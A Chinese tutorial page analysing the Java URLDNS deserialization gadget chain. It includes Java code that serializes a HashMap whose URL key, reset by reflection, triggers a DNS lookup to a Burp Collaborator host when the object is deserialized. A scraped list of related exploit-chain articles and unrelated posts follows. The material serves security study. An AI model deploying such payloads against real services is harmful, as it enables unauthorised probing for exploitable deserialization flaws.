原理

Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:

  • [1] 只能发起 DNS 请求,不能进行其它利用。
  • [2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
  • [3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。

过程分析

需要发起Http请求,Java中URL类与Http请求相关并且URL类实现了Serializable接口,URL类中是通过调用openConnection方法实现。



跟进返回中的openConnection可以看到返回的是URLConnection对象。



继续跟进URLConnection,发现是一个抽象类,接着查看实现这个抽象类的类,发现是不可序列化的,那么这条链不可用。

但是发现URL这个类中存在hashCode()函数可以利用。



跟进handler.hashCode函数,发现这个函数中使用了getHostAddress()函数,而getHostAddress()函数可以根据域名获得主机IP地址。



至此,我们可以通过调用hashCode()函数中的getHostAddress()来实现反序列化。



HashMap类中重写了readObject方法,其中调用了hash()函数,hash()函数中也调用了hashCode()函数。



如此一来,当我们构造出一个HashMap对象,并向这个对象的键中传入URL,那么在反序列化时,这个URL会被读为key接着传入hash()函数中,在hash()函数中调用hashCode(),这样就调用了一个URL对象的hashCode()函数。



接下来构造利用代码:

package org.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap; public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://v95hskl5p6aksnq95w4sydb2vt1jp8.burpcollaborator.net"),1);
serialize(hashMap);
}
}

其中,URL链接使用burpsuite生成:





构造完代码之后,运行序列化代码。



此时发现,在我们还没有反序列化时就已经收到了DNS请求,这是因为在使用put()函数的时候,在put()函数中已经调用了hash()函数,进而调用了hashCode()函数。



想到之前我们在URLhashCode()函数中看到当hashCode != -1时就不会调用hashCode()函数,而在我们进行完put操作之后hashCode != -1,所以在反序列化时就不会再执行hashCode()函数了。



想要在反序列化时调用hashCode()就需要在put操作之前使得hashCode不等于-1,put操作之后将hashCode再改回-1。要改变一个已经生成对象中的值就需要使用Java的反射技术。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap; public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://rzu085lu0ds2w583u7jglucds4yumj.burpcollaborator.net");
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url, 1);
hashMap.put(url, 1);
hashcodeField.set(url, -1); serialize(hashMap);
}
}

这样再进行序列化的时候就收不到DNS请求了,然后进行反序列化,可以看到在反序列化时收到了请求。

反序列化操作:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream; public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
} public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}
}

URLDNS利用链的更多相关文章

  1. URLDNS反序列化链学习

    URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...

  2. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  3. commons-collections利用链学习总结

    目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...

  4. JDK原生反序列化利用链7u21

    前言 JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单- 7u ...

  5. fastjson反序列化-JdbcRowSetImpl利用链

    fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...

  6. Apache Common-collection 反序列化利用链解析--TransformedMap链

    Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...

  7. 深入剖析CVE-2021-40444-Cabless利用链

    背景 CVE-2021-40444为微软MHTML远程命令执行漏洞,攻击者可通过传播Microsoft Office文档,诱导目标点击文档从而在目标机器上执行任意代码.该漏洞最初的利用思路是使用下载c ...

  8. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  9. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  10. CB利用链及无依赖打Shiro

    前言 前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级.在反序列化这个对象时,为 ...

随机推荐

  1. ASP.NET Core分布式项目实战(Identity Server 4回顾,Consent 实现思路介绍)--学习笔记

    任务17:Identity Server 4回顾 上一节我们中间留了一部分,登录之后的 RequireConsent,就是用户授权这一步没有做,直接跳过,这种情况可以理解为我们自己比较信任的客户端,这 ...

  2. Numpy基本使用方法

    Numpy基本使用方法 第一节 创建数组 import numpy as np import random # 创建数组 a = [1, 2, 3, 4, 5] a1 = np.array(a) pr ...

  3. Moon.Orm版本维护及下载

    MoonOrm最新版及代码生成器 (2020-8-29)

  4. tensorflow解决回归问题简单案列

    1 待拟合函数 noise服从均值为0,方差为15的正太分布,即noise ~ N(0,15). 2 基于模型的训练 根据散点图分布特点,猜测原始数据是一个二次函数模型,如下: 其中,a,b,c为待训 ...

  5. 建立DNS隧道绕过校园网认证

    建立DNS隧道绕过校园网认证 因为之前在本科的时候破解过校园网三次,主要就是利用其业务逻辑上的漏洞.53端口未过滤包.重放攻击的手段,然后就是一个博弈的过程,这三次加起来用了大概有一年的时间就被完全堵 ...

  6. SpringCloud 注册中心Zookeeper实战

    介绍 ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用提供一致性服务的软件,提 ...

  7. webrtc 的理解

    常规视频的传输包括以下几个步骤:采集,编码,推流,转码,分发,拉流,解码和渲染 在一个实时的音视频系统架构里,上面的每个环节都会有一定程度的优化空间. 以下内容摘自:rtmp直播和webrtc直播对比 ...

  8. redis7源码分析:redis 启动流程

    1. redis 由 server.c 的main函数启动 int main(int argc, char **argv) { ... // 上面的部分为读取配置和启动命令参数解析,看到这一行下面为启 ...

  9. HTML初始----day01

    1.HTML骨架标签总结 标签名 定义 说明 html标签 页面中最大的标签,称为根标签 <head></head> 文档的头部 注意在head标签中我们必须要设置的标签是ti ...

  10. 04-Redis系列之-持久化(RDB,AOF)

    持久化的作用 什么是持久化 redis的所有数据保存在内存中,对数据的更新将异步的保存到硬盘上 持久化的实现方式 快照:某时某刻数据的一个完整备份(mysql的Dump,redis的RDB) 写日志: ...